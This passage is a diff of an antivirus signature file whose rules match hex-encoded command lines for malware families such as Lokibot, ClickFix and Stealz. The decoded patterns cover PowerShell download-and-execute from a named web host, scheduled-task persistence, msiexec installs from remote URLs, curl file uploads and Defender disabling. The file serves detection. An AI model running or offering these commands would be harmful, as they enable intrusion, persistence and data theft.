00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 2a 00 47 00 65 00 74 00 2d 00 4e 00 65 00 74 00 41 00 64 00 61 00 70 00 74 00 65 00 72 00 42 00 69 00 6e 00 64 00 69 00 } //15616 + $a_00_5 = {01 00 18 00 2d 00 41 00 6c 00 6c 00 42 00 69 00 6e 00 64 00 69 00 6e 00 67 00 73 00 01 00 16 00 43 00 6f 00 6d 00 70 00 6f 00 6e 00 65 00 6e 00 74 00 49 00 44 00 01 00 36 00 7c 00 20 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 2d 00 4e 00 65 00 74 00 41 00 64 00 61 00 70 00 74 00 65 00 72 00 42 00 69 00 6e } //110 + $a_00_7 = {01 00 12 00 5a 00 53 00 5f 00 5a 00 41 00 50 00 50 00 52 00 44 00 00 00 d7 f9 00 00 33 00 33 00 0a 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 63 6c 6f 6e 65 2e 53 46 00 0a 00 0c 00 72 00 63 00 6c 00 6f 00 6e 00 65 00 0a 00 0c 00 20 00 63 00 6f 00 70 00 79 00 20 00 0a 00 22 00 2d 00 } //110 + $a_00_8 = {67 00 6e 00 6f 00 72 00 65 00 2d 00 65 00 78 00 69 00 73 00 74 00 69 00 6e 00 67 00 0a 00 1c 00 2d 00 2d 00 61 00 75 00 74 00 6f 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 0a 00 2c 00 2d 00 2d 00 6d 00 75 00 6c 00 74 00 69 00 2d 00 74 00 68 00 72 00 65 00 61 00 64 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d } //45 + $a_00_11 = {22 00 01 00 08 00 22 00 65 00 3a 00 22 00 01 00 08 00 22 00 66 00 3a 00 22 00 01 00 08 00 22 00 67 00 3a 00 22 00 01 00 08 00 22 00 68 00 3a 00 22 00 00 00 d7 fa 00 00 05 00 } //100 + $a_00_12 = {21 23 54 45 4c } //5 !#TEL + $a_6f_13 = {61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 44 53 4b 00 01 00 14 00 50 00 6f 00 57 00 45 00 52 00 73 00 68 00 45 00 4c 00 4c 00 01 00 06 00 49 00 45 00 58 00 01 00 14 00 4e 00 65 00 77 00 2d 00 4f 00 62 00 6a 00 65 00 63 00 74 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 77 02 44 } //21562 + $a_00_15 = {6f 00 61 00 64 00 90 02 20 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f 00 66 00 69 00 6c 00 65 00 32 00 33 00 68 00 73 00 63 00 6f 00 6e 00 74 00 61 00 72 00 73 00 72 00 2e 00 30 00 30 00 30 00 77 00 65 00 62 00 68 00 6f 00 73 00 74 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 90 02 0f 2e 00 70 00 73 00 31 00 90 } //110 + $a_00_17 = {0f 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 } //0 + $a_69_18 = {33 32 2f 53 63 68 45 78 65 63 2e 48 46 21 4d 54 42 00 0f 00 cd 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 75 00 70 00 64 00 61 00 74 00 65 00 5f 00 75 00 70 00 64 00 90 01 06 } //14958 + $a_00_19 = {6d 00 70 00 90 02 70 2f 00 74 00 72 00 20 00 27 00 77 00 73 00 63 00 72 00 69 00 70 00 74 00 2e 00 65 00 78 00 65 00 27 00 20 00 90 02 04 63 00 3a 00 5c 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 7b 00 90 01 48 7d 00 5f 00 75 00 70 00 64 00 61 00 74 00 65 00 5c 00 75 00 70 00 64 00 90 01 06 2e 00 74 00 6d 00 } //46 + $a_00_20 = {74 00 6d 00 70 00 2e 00 76 00 62 00 73 00 90 00 00 00 d7 fc 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 50 6f 77 65 72 53 68 65 6c 6c 2f 44 69 73 61 62 6c 65 44 65 66 65 6e 64 65 72 2e 44 00 01 00 c4 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 } //112 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*9989+(#a_00_3 & 1)*-497+(#a_4d_4 & 1)*15616+(#a_00_5 & 1)*110+(#a_00_7 & 1)*110+(#a_00_8 & 1)*45+(#a_00_11 & 1)*100+(#a_00_12 & 1)*5+(#a_6f_13 & 1)*21562+(#a_00_15 & 1)*110+(#a_00_17 & 1)*0+(#a_69_18 & 1)*14958+(#a_00_19 & 1)*46+(#a_00_20 & 1)*112) >=111 + +} +rule _InfrastructureShared_28081{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 44 65 66 65 6e 52 65 7a 2e 41 21 4d 54 42 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 2a 00 47 00 65 00 74 00 2d 00 4e 00 65 00 74 00 41 00 64 00 61 00 } //21283 + $a_00_1 = {65 00 72 00 42 00 69 00 6e 00 64 00 69 00 6e 00 67 00 01 00 18 00 2d 00 41 00 6c 00 6c 00 42 00 69 00 6e 00 64 00 69 00 6e 00 67 00 73 00 01 00 16 00 43 00 6f 00 6d 00 70 00 6f 00 6e 00 65 00 6e 00 74 00 49 00 44 00 01 00 36 00 7c 00 20 00 44 00 69 00 73 00 61 00 62 00 6c 00 65 00 2d 00 4e 00 65 00 74 00 41 00 64 00 61 00 70 00 74 00 65 00 72 00 } //112 + $a_00_2 = {6e 00 64 00 69 00 6e 00 67 00 01 00 12 00 5a 00 53 00 5f 00 5a 00 41 00 50 00 50 00 52 00 44 00 00 00 d7 f9 00 00 33 00 33 00 0a 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 52 63 6c 6f 6e 65 2e 53 46 00 0a 00 0c 00 72 00 63 00 6c 00 6f 00 6e 00 65 00 0a 00 0c 00 20 00 63 00 6f 00 70 00 79 00 } //66 + $a_00_3 = {22 00 2d 00 2d 00 69 00 67 00 } //32 "--ig + $a_00_4 = {72 00 65 00 2d 00 65 00 78 00 69 00 73 00 74 00 69 00 6e 00 67 00 0a 00 1c 00 2d 00 2d 00 61 00 75 00 74 00 6f 00 2d 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 0a 00 2c 00 2d 00 2d 00 6d 00 75 00 6c 00 74 00 69 00 2d 00 74 00 68 00 72 00 65 00 61 00 64 00 2d 00 73 00 74 00 72 00 65 00 61 00 6d 00 73 00 01 00 08 00 22 00 64 00 3a } //110 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*112+(#a_00_2 & 1)*66+(#a_00_3 & 1)*32+(#a_00_4 & 1)*110) >=6 + +} +rule _InfrastructureShared_28082{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,33 00 33 00 0a 00 21 " @@ -345604,20 +367067,30 @@ rule _InfrastructureShared_26427{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*120+(#a_00_4 & 1)*58+(#a_00_7 & 1)*5+(#a_54_8 & 1)*19525) >=51 } -rule _InfrastructureShared_26428{ +rule _InfrastructureShared_28083{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 6f 6b 69 62 6f 74 2e 44 53 4b 00 01 00 14 00 50 00 6f 00 57 00 45 00 52 00 73 00 68 00 45 00 4c 00 4c 00 01 00 06 00 49 00 45 00 58 00 01 00 14 00 4e 00 65 00 77 00 } //21539 $a_00_1 = {62 00 6a 00 65 00 63 00 74 00 01 00 1a 00 4e 00 65 00 74 00 2e 00 57 00 65 00 62 00 43 00 6c 00 69 00 65 00 6e 00 74 00 01 00 77 02 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 90 02 20 68 00 74 00 74 00 70 00 90 02 02 3a 00 2f 00 2f } //45 - $a_00_3 = {32 00 33 00 68 00 73 00 63 00 6f 00 6e 00 74 00 61 00 72 00 73 00 72 00 2e 00 30 00 30 00 30 00 77 00 65 00 62 00 68 00 6f 00 73 00 74 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 90 02 0f 2e 00 70 00 73 00 31 00 90 00 00 00 d7 fc 00 00 01 00 01 00 01 00 21 23 53 4c 46 3a 48 61 63 6b 54 6f 6f 6c } //108 - $a_77_4 = {72 53 68 65 6c 6c 2f 44 69 73 61 62 6c 65 44 65 66 65 6e 64 65 72 2e 44 00 01 00 c4 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 20 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 48 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 45 00 78 00 65 00 63 00 75 00 74 00 69 00 6f 00 6e 00 } //20538 + $a_00_3 = {32 00 33 00 68 00 73 00 63 00 6f 00 6e 00 74 00 61 00 72 00 73 00 72 00 2e 00 30 00 30 00 30 00 77 00 65 00 62 00 68 00 6f 00 73 00 74 00 61 00 70 00 70 00 2e 00 63 00 6f 00 6d 00 2f 00 90 02 0f 2e 00 70 00 73 00 31 00 90 00 00 00 d7 fb 00 00 0f 00 0f 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 } //108 + $a_32_4 = {53 63 68 45 78 65 63 2e 48 46 21 4d 54 42 00 0f 00 cd 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 } //28265 condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_00_3 & 1)*108+(#a_77_4 & 1)*20538) >=5 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_00_3 & 1)*108+(#a_32_4 & 1)*28265) >=5 } -rule _InfrastructureShared_26429{ +rule _InfrastructureShared_28084{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 01 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 63 68 45 78 65 63 2e 48 46 21 4d 54 42 00 0f 00 cd 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 20 00 75 00 } //21283 + condition: + ((#a_46_0 & 1)*21283) >=15 + +} +rule _InfrastructureShared_28085{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -345627,7 +367100,7 @@ rule _InfrastructureShared_26429{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26430{ +rule _InfrastructureShared_28086{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -345638,20 +367111,81 @@ rule _InfrastructureShared_26430{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*108) >=4 } -rule _InfrastructureShared_26431{ +rule _InfrastructureShared_28087{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,19 00 19 00 0a 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 65 6d 63 6f 73 2e 52 58 48 21 4d 54 42 00 0a 00 10 00 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 05 00 0e 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 02 00 1c 00 70 00 6f 00 77 00 } //21283 + $a_00_1 = {73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 02 00 0c 00 48 00 69 00 64 00 64 00 65 00 6e 00 01 00 08 00 77 00 67 00 65 00 74 00 01 00 0a 00 68 00 74 00 74 00 70 00 3a 00 01 00 08 00 2e 00 76 00 62 00 73 00 01 00 1a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 54 00 65 00 6d 00 70 00 01 00 16 00 73 00 74 00 61 00 72 00 } //101 + $a_00_2 = {73 00 6c 00 65 00 65 00 70 00 01 00 1a 00 73 00 74 00 61 00 72 00 74 00 2d 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 00 00 d7 fc 00 } //116 + $a_23_4 = {4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 48 21 4d 54 42 00 } //2 + $a_02_5 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-32] 2e 00 63 00 6f 00 6d 00 20 00 2f 00 71 00 6e 00 [0-80] 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-32] 2e 00 63 00 6f 00 6d 00 } //100 + $a_02_6 = {6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-32] 2e 00 63 00 6f 00 6d 00 [0-80] 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 [0-32] 2e 00 63 00 6f 00 6d 00 20 00 2f 00 71 00 6e 00 } //100 + $a_fc_7 = {00 97 00 97 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 48 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 0c 00 20 00 23 00 20 00 43 00 3a 00 5c 00 01 00 0a 00 2e 00 64 00 6f 00 63 00 78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 78 00 6c 00 73 00 18 fc 14 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 18 fc 32 00 72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 00 6f 00 6d 00 18 fc 14 00 67 00 69 00 74 00 6c 00 61 00 62 00 2e 00 } //0 + $a_00_8 = {6d 00 18 fc 1a 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 00 00 d7 fd 00 00 8c 00 8c 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 41 21 64 68 61 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 26 00 20 00 49 } //99 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*116+(#a_23_4 & 1)*2+(#a_02_5 & 1)*100+(#a_02_6 & 1)*100+(#a_fc_7 & 1)*0+(#a_00_8 & 1)*99) >=25 + +} +rule _InfrastructureShared_28088{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 02 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 44 48 48 21 4d 54 42 00 64 00 59 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 20 00 2f 00 69 00 20 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 90 02 32 2e } //21283 + condition: + ((#a_46_0 & 1)*21283) >=100 + +} +rule _InfrastructureShared_28089{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff97 00 ffffff97 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 46 69 6c 65 46 69 78 2e 44 48 21 4d 54 42 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 32 00 0c 00 20 00 23 00 20 00 43 00 3a 00 5c 00 01 00 0a 00 2e 00 64 00 } //21283 + $a_00_1 = {78 00 01 00 08 00 2e 00 70 00 64 00 66 00 01 00 08 00 2e 00 78 00 6c 00 73 00 18 fc 14 00 67 00 69 00 74 00 68 00 75 00 62 00 2e 00 63 00 6f 00 6d 00 18 fc 32 00 72 00 61 00 77 00 2e 00 67 00 69 00 74 00 68 00 75 00 62 00 75 00 73 00 65 00 72 00 63 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 2e 00 63 } //111 + $a_00_3 = {67 00 69 00 74 00 6c 00 61 00 62 00 2e 00 63 00 6f 00 6d 00 } //-1000 gitlab.com + $a_00_4 = {50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 20 00 46 00 69 00 6c 00 65 00 73 00 } //-1000 Program Files + $a_fd_5 = {00 8c 00 8c 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 41 21 64 68 61 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 26 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 0a 00 1f 02 20 00 2d 00 55 00 72 00 69 00 20 00 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 0a 00 23 02 3a 00 34 00 35 00 30 00 30 00 30 00 2f 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 20 00 90 00 0a 00 41 02 20 00 43 00 3a 00 5c 00 55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 } //0 + $a_00_6 = {5c 00 4d 00 75 00 73 00 69 00 63 00 5c 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 90 00 00 00 d7 fe 00 00 04 00 04 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 7a 2e 5a 42 54 21 4d 54 42 00 01 00 18 00 63 00 75 00 72 00 6c 00 20 00 2d 00 58 00 20 00 } //105 + $a_00_7 = {53 00 54 00 01 00 0c 00 66 00 69 00 6c 00 65 00 3d 00 40 00 01 00 0c 00 75 00 70 00 6c 00 6f 00 61 00 64 00 01 00 0a 00 70 00 61 00 74 00 68 00 3a 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e } //80 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*111+(#a_00_3 & 1)*-1000+(#a_00_4 & 1)*-1000+(#a_fd_5 & 1)*0+(#a_00_6 & 1)*105+(#a_00_7 & 1)*80) >=151 + +} +rule _InfrastructureShared_28090{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffff8c 00 ffffff8c 00 05 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 52 75 73 74 79 4d 65 74 61 6c 2e 41 21 64 68 61 00 64 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 26 00 20 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 } //21283 $a_00_1 = {52 00 65 00 71 00 75 00 65 00 73 00 74 00 20 00 0a 00 1f 02 20 00 2d 00 55 00 72 00 69 00 20 00 68 00 74 00 74 00 70 00 90 02 01 3a 00 2f 00 2f 00 90 00 0a 00 23 02 3a 00 34 00 35 00 30 00 30 00 30 00 2f 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 20 00 90 00 0a 00 41 02 20 00 43 00 } //101 - $a_00_2 = {55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 4d 00 75 00 73 00 69 00 63 00 5c 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 90 00 00 00 d7 00 01 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 72 73 } //58 - $a_65_3 = {63 65 56 69 61 53 63 68 65 64 75 6c 65 64 54 61 73 6b 2e 41 44 00 01 00 c2 02 73 00 63 00 68 00 74 00 61 00 73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 90 02 80 20 00 2f 00 73 00 63 00 20 00 6f 00 6e 00 63 00 65 00 20 00 2f 00 66 00 20 00 2f 00 74 00 72 00 20 00 63 00 6d 00 64 } //29545 + $a_00_2 = {55 00 73 00 65 00 72 00 73 00 5c 00 50 00 75 00 62 00 6c 00 69 00 63 00 5c 00 4d 00 75 00 73 00 69 00 63 00 5c 00 53 00 59 00 42 00 90 02 03 2e 00 65 00 78 00 65 00 90 00 00 00 d7 fe 00 00 04 00 04 00 09 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 } //58 + $a_5a_3 = {54 21 4d 54 42 00 01 00 18 00 63 00 75 00 72 00 6c 00 20 00 2d 00 58 00 20 00 50 00 4f 00 53 00 54 00 01 00 0c 00 66 00 69 00 6c 00 65 00 } //31340 + $a_00_4 = {01 00 0c 00 75 00 70 00 6c 00 6f 00 61 00 64 00 01 00 0a 00 70 00 61 00 74 00 68 00 3a 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 } //61 condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*58+(#a_65_3 & 1)*29545) >=140 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*101+(#a_00_2 & 1)*58+(#a_5a_3 & 1)*31340+(#a_00_4 & 1)*61) >=140 } -rule _InfrastructureShared_26432{ +rule _InfrastructureShared_28091{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 09 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 53 74 65 61 6c 7a 2e 5a 42 54 21 4d 54 42 00 01 00 18 00 63 00 75 00 72 00 6c 00 20 00 2d 00 58 00 20 00 50 00 4f 00 53 00 54 00 01 00 0c 00 66 00 69 00 6c 00 65 00 3d 00 40 00 01 00 0c 00 } //21283 + $a_00_1 = {6c 00 6f 00 61 00 64 00 01 00 0a 00 70 00 61 00 74 00 68 00 3a 00 9c ff 20 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 32 00 37 00 2e 00 30 00 2e 00 30 00 2e 00 31 00 9c ff 14 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 30 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 31 00 37 00 32 00 2e 00 9c ff 16 00 } //117 + $a_00_2 = {74 00 70 00 3a 00 2f 00 2f 00 31 00 39 00 32 00 2e 00 9c ff 16 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 32 00 35 00 35 00 2e 00 00 00 d7 00 01 00 01 00 01 00 01 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 65 72 73 69 73 74 65 6e 63 65 56 69 61 53 63 68 65 64 75 6c 65 64 54 61 73 6b 2e 41 44 00 01 00 c2 02 73 00 63 00 68 00 } //104 + $a_00_3 = {73 00 6b 00 73 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 72 00 65 00 61 00 74 00 65 00 20 00 2f 00 74 00 6e 00 90 02 80 20 00 2f 00 73 00 63 00 20 00 6f 00 6e 00 63 00 65 00 20 00 2f 00 66 00 20 00 2f 00 74 00 72 00 20 00 63 00 6d 00 64 00 20 00 2f 00 63 00 20 00 90 01 02 3a 00 5c 00 77 } //116 + $a_00_5 = {77 00 73 00 5c 00 74 00 65 00 6d 00 70 00 5c 00 61 00 2d 00 90 01 10 2e 00 62 00 61 00 74 00 20 00 2f 00 73 00 74 00 20 00 90 01 04 3a 00 90 01 04 3a 00 90 01 04 20 00 2f 00 72 00 75 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 90 00 00 00 d7 00 01 00 01 00 01 00 07 00 21 23 54 45 4c 3a 57 69 6e 33 32 2f 4f 66 69 73 75 73 2e 41 00 } //100 + $a_00_6 = {63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 20 00 2f 00 63 00 20 00 25 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 3a 00 7e 00 30 00 2c 00 31 00 25 00 25 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 3a 00 7e 00 39 00 2c 00 32 00 25 00 } //1 cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% + $a_00_7 = {7d 00 7d 00 7b 00 68 00 63 00 74 00 61 00 63 00 7d 00 7d 00 } //1 }}{hctac}} + $a_00_8 = {73 00 5e 00 65 00 5e 00 74 00 20 00 } //1 s^e^t + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*117+(#a_00_2 & 1)*104+(#a_00_3 & 1)*116+(#a_00_5 & 1)*100+(#a_00_6 & 1)*1+(#a_00_7 & 1)*1+(#a_00_8 & 1)*1) >=4 + +} +rule _InfrastructureShared_28092{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 01 00 21 " @@ -345661,7 +367195,7 @@ rule _InfrastructureShared_26432{ ((#a_46_0 & 1)*21283) >=1 } -rule _InfrastructureShared_26433{ +rule _InfrastructureShared_28093{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 07 00 21 " @@ -345676,7 +367210,7 @@ rule _InfrastructureShared_26433{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*48+(#a_00_2 & 1)*125+(#a_00_3 & 1)*1+(#a_61_4 & 1)*28530+(#a_00_6 & 1)*71) >=1 } -rule _InfrastructureShared_26434{ +rule _InfrastructureShared_28094{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0b 00 0b 00 05 00 21 " @@ -345688,7 +367222,7 @@ rule _InfrastructureShared_26434{ ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*114+(#a_00_4 & 1)*1) >=11 } -rule _InfrastructureShared_26435{ +rule _InfrastructureShared_28095{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,01 00 01 00 04 00 21 " @@ -345700,7 +367234,7 @@ rule _InfrastructureShared_26435{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*45+(#a_00_3 & 1)*45) >=1 } -rule _InfrastructureShared_26436{ +rule _InfrastructureShared_28096{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,06 00 06 00 07 00 21 " @@ -345713,7 +367247,7 @@ rule _InfrastructureShared_26436{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*32+(#a_00_5 & 1)*101+(#a_32_6 & 1)*28265) >=6 } -rule _InfrastructureShared_26437{ +rule _InfrastructureShared_28097{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 02 00 21 " @@ -345723,7 +367257,7 @@ rule _InfrastructureShared_26437{ ((#a_46_0 & 1)*16675) >=10 } -rule _InfrastructureShared_26438{ +rule _InfrastructureShared_28098{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 04 00 21 " @@ -345735,36 +367269,63 @@ rule _InfrastructureShared_26438{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*120+(#a_00_3 & 1)*103) >=4 } -rule _InfrastructureShared_26439{ +rule _InfrastructureShared_28099{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,ffffffaa 00 ffffffaa 00 04 00 21 " strings : - $a_46_0 = {57 69 6e 33 32 2f 43 6c 65 61 72 41 75 64 69 74 50 6f 6c 2e 42 00 0a 00 36 02 5c 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 2e 00 65 00 78 00 65 00 90 02 08 20 00 2f 00 63 00 6c 00 65 00 61 00 72 00 90 02 08 20 00 2f 00 } //21283 - $a_00_1 = {0a 00 30 02 20 00 61 00 75 00 64 00 69 00 74 00 70 00 6f 00 6c 00 20 00 90 02 08 20 00 2f 00 63 00 6c 00 65 00 61 00 72 00 90 02 08 20 00 2f 00 79 00 90 00 